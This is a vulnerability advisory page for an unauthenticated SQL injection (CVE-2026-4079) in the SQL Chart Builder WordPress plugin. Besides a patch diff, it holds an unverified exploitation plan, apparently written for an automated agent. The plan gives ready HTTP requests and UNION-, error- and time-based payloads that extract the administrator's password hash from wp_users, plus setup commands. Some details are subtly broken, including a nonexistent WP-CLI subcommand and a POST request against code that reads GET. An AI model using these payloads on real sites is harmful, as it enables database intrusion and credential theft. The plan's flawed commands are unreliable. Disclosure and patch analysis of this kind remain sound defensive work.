CVE-2026-4079

SQL Chart Builder < 2.3.8 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.3.8
Patched in
6d
Time to patch

Description

The SQL Chart Builder plugin for WordPress is vulnerable to SQL Injection in versions up to 2.3.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<2.3.8
PublishedApril 8, 2026
Last updatedApril 13, 2026
Affected pluginsql-chart-builder

What Changed in the Fix

Changes introduced in v2.3.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan details the methodology for verifying the unauthenticated SQL Injection vulnerability (CVE-2026-4079) in the SQL Chart Builder plugin. ### 1. Vulnerability Summary The SQL Chart Builder plugin (versions < 2.3.8) is vulnerable to SQL Injection because it uses a custom…

Show full research plan

This exploitation research plan details the methodology for verifying the unauthenticated SQL Injection vulnerability (CVE-2026-4079) in the SQL Chart Builder plugin.

1. Vulnerability Summary

The SQL Chart Builder plugin (versions < 2.3.8) is vulnerable to SQL Injection because it uses a custom template engine to replace placeholders (e.g., {arg1}, {variable_name}) within SQL queries with user-supplied input from $_REQUEST. This replacement is performed using simple string manipulation (likely str_replace) without applying wpdb::prepare() or esc_sql() to the incoming values. Consequently, an attacker can supply a malicious payload that "breaks out" of the intended query logic to execute arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: guaven_sqlcharts_get_data (Unauthenticated)
  • Vulnerable Parameter: Any parameter name that matches a placeholder defined in the chart's SQL query (e.g., arg1, my_filter).
  • Required Parameter: id (The WordPress Post ID of the gvn_schart object).
  • Authentication: None required (the action is registered via wp_ajax_nopriv_).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action guaven_sqlcharts_get_data.
  2. Chart Loading: The handler retrieves the id from the request and fetches the corresponding gvn_schart post from the database.
  3. SQL Template Retrieval: The handler reads the SQL query template stored in the post's metadata (likely the guaven_sqlcharts_sql or gvn_sql_code meta key).
  4. Insecure Replacement: The handler parses the SQL template for placeholders like {...}. For each placeholder, it looks for a corresponding key in $_POST or $_GET.
  5. Sink: The handler performs a str_replace of the placeholder with the raw user input and then passes the resulting "poisoned" string directly to $wpdb->get_results().

4. Nonce Acquisition Strategy

Historically, the guaven_sqlcharts_get_data action in this plugin did not enforce nonce verification for frontend chart rendering to facilitate dynamic filters. However, if a nonce is required, it will be localized in the page source where a chart is displayed.

Strategy:

  1. Identify the JavaScript variable used for nonces. Based on functions.php, the plugin uses guaven_sqlcharts_notice_dismissed for some actions. For data fetching, look for a variable named guaven_sqlcharts_ajax or similar.
  2. Create a test page containing the chart shortcode: wp post create --post_type=page --post_status=publish --post_content='[gvn_schart_2 id="REPLACE_WITH_CHART_ID"]'.
  3. Navigate to this page using browser_navigate.
  4. Extract the nonce via browser_eval:
    // Inferred nonce location based on plugin naming conventions
    window.guaven_sqlcharts_ajax?.nonce || window.gvn_sql_nonce
    
  5. If no nonce is found and the request fails with -1, audit the HTML for any hidden inputs or localized JS objects containing "nonce".

5. Exploitation Strategy

The goal is to use a UNION SELECT to extract the administrator's password hash from the wp_users table.

Step 1: Setup the Target Chart
An attacker needs a chart ID to target. Since we are in a controlled environment, we will create one with a known placeholder.

Step 2: Column Discovery
The payload must match the number of columns in the original query. We will use ORDER BY to find this number.

Step 3: Data Extraction
Once the column count is known, we use UNION SELECT to leak the user_pass for the user with ID=1.

HTTP Request (Example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=guaven_sqlcharts_get_data&id=[CHART_ID]&id_tag=0 UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- -

(Note: The parameter id_tag must match the placeholder {id_tag} in the SQL we define in step 6).

6. Test Data Setup

Prepare the environment using WP-CLI to create a vulnerable chart entry.

# 1. Create the Chart Post
CHART_ID=$(wp post create --post_type=gvn_schart --post_title="Sqli Test" --post_status=publish --porcelain)

# 2. Set the SQL Template Meta (Inferred meta keys: gvn_sql_code)
# We use a placeholder {id_tag} which we will control via AJAX
wp post primary-setup $CHART_ID --meta_input='{"gvn_sql_code": "SELECT post_title, post_date, post_author, ID FROM wp_posts WHERE ID = {id_tag}"}'

# 3. Define the dynamic filter (Required for the plugin to recognize the tag)
# Format: variable_name~default_value~label~type
wp post meta set $CHART_ID gvn_sql_vars "id_tag~1~ID~number"

# 4. Create a public page to view the chart (and potentially extract nonces)
PAGE_ID=$(wp post create --post_type=page --post_title="Chart Page" --post_status=publish --post_content="[gvn_schart_2 id=\"$CHART_ID\"]" --porcelain)

7. Expected Results

A successful exploit will return a JSON object where one of the fields contains the WordPress password hash (starting with $P$ or $wp$).

Example Successful JSON Response:

[
  {
    "post_title": "$P$Bv8J3...", 
    "post_date": "3",
    "post_author": "4",
    "ID": "1"
  }
]

8. Verification Steps

After performing the HTTP request, verify the leaked hash against the actual database:

# Verify the hash matches the one in the database
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-Based SQLi: If the output is suppressed but errors are displayed (common if WP_DEBUG is on), use updatexml() or extractvalue():
    • id_tag=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
  • Time-Based Blind: If neither UNION nor errors work, use SLEEP():
    • id_tag=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Parameter variations: If id_tag doesn't work, try arg1, arg2, etc., as these are hardcoded defaults in some versions of the plugin's shortcode handler.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SQL Chart Builder plugin is vulnerable to unauthenticated SQL Injection via the guaven_sqlcharts_get_data AJAX action. The vulnerability exists because the plugin uses string replacement to insert user-supplied input into SQL templates without applying wpdb::prepare() or esc_sql(), allowing attackers to manipulate queries and extract sensitive data.

Vulnerable Code

// functions.php around line 388
if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1];
if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='"'.$varreplacement.'"';

$sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/sql-chart-builder/2.3.7.2/functions.php	2025-01-17 11:07:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/sql-chart-builder/2.3.8/functions.php	2026-03-13 07:00:12.000000000 +0000
@@ -385,8 +385,21 @@
     $varfield_arr=explode("~",$varfield);
     if (count($varfield_arr)<3) continue;
     $varfield_arr=array_map("trim",$varfield_arr);
-    if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1];
-    if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='"'.$varreplacement.'"';
+    if (!empty($_GET[$varfield_arr[0]])) {
+      // User-supplied input: no () bypass allowed — sanitize strictly
+      $varreplacement = sanitize_text_field(wp_unslash($_GET[$varfield_arr[0]]));
+      if (is_numeric($varreplacement)) {
+        $varreplacement = $varreplacement + 0;
+      } else {
+        $varreplacement = '"' . esc_sql($varreplacement) . '"';
+      }
+    } else {
+      // Admin-configured default value: allow () for SQL functions (e.g. NOW())
+      $varreplacement = $varfield_arr[1];
+      if (!is_numeric($varreplacement) && strpos($varreplacement,'()')===false) {
+        $varreplacement = '"' . esc_sql($varreplacement) . '"';
+      }
+    }
 
     $sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);
   }
@@ -471,6 +484,7 @@
 
 function guaven_sqlcharts_local_shortcode($atts) {
     if(empty($atts['id']))return 'ID is missing.';
+    $atts['id']=intval($atts['id']);
     $remote_host=get_post_meta($atts['id'], 'guaven_sqlcharts_dbhost', true);
     if ($remote_host!=''){
       $remote_db=get_post_meta($atts['id'], 'guaven_sqlcharts_dbname', true);
@@ -571,6 +585,7 @@
 
 add_shortcode("gvn_schart_2_cached",function($atts){
 	if(empty($atts["id"]))return;
+    $atts["id"]=intval($atts["id"]);
     $is_logged_in=is_user_logged_in()?'':'_guest';
     $expire=!empty($atts["expire"])?intval($atts["expire"]):3600;
 	$cached=get_transient('cached_sql_charts_'.$atts["id"].$is_logged_in);

Exploit Outline

An attacker first identifies the ID of a published chart and the names of any placeholders used in its SQL query (often visible in the frontend filters or shortcode parameters). They then send an unauthenticated POST or GET request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'guaven_sqlcharts_get_data' and the 'id' parameter set to the target chart ID. By providing a payload in the parameter matching the chart's placeholder, the attacker can break out of the intended query logic. For example, using a UNION SELECT payload, the attacker can extract sensitive information like WordPress user password hashes from the wp_users table, which the plugin will then return as a JSON response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.